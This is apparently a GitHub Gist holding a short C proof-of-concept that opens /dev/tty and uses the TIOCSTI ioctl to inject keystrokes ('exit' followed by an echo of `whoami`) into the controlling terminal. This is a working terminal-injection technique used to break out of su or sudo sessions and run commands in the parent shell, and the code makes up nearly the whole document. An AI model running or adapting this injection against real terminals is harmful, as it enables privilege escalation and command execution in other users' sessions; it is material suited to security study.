Created
March 20, 2019 23:24
-
-
Save zetc0de/f442871ac780a6d220f0b21774fe3246 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
int main() { | |
int fd = open("/dev/tty", O_RDWR); | |
if (fd < 0) { | |
perror("open"); | |
return -1; | |
} | |
char *x = "exit\necho Payload as `whoami`\n"; | |
while (*x != 0) { | |
int ret = ioctl(fd, TIOCSTI, x); | |
if (ret == -1) { | |
perror("ioctl()"); | |
} | |
x++; | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment